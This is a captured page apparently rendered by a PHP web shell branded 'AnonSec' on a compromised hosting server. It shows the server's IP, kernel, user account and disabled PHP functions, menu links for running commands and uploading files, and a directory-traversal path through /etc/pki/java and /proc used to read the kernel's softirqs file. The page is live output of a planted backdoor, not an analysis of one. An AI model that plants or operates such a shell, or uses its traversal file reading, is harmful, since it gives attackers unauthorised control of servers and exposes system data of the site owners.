Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/97/../6/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/97/../6/../softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17098791   46567798   27246763   38185565   25776683   39262276   31237893   20183381   26773396   23108888   24537203   24785368  109593767   15230909   34882009   24664080
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27311730   70088755   40006124   98255704   35961510  124012059   34495396   33109608   52182096   57499669   50281923   36733120   53028773   26449926  105737694  114106914
       BLOCK:    1272199    2155001    1969199    1571663    1309081    1335189    1335701    1261035    1410784    1194954    1065980    1279033    1238053    1268106    1417287    1547001
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5485509   13616257    4078743   24959542    7949152   31458880    8291401    6792580   11729050    7800737   15955316    9376237   15229390    4413742   24545677    4273730
       SCHED:   43186051   21001169   13827370   17581844   11483098   19807233   11825761   10086969   12843723   13151373   10679980   13441668   23105353    9081877   17294435   22507698
     HRTIMER:       2055       5282       3614       9111       2214      15002       1627       2469       4860       2664       5649       4216       6972       1398       9146       1358
         RCU:   42437045   77381445   54504887   89871985   52031437  108504820   52985809   45777547   60236608   72349719   46491917   48313193   98678619   41230911   97741138  147489912

AnonSec - 2021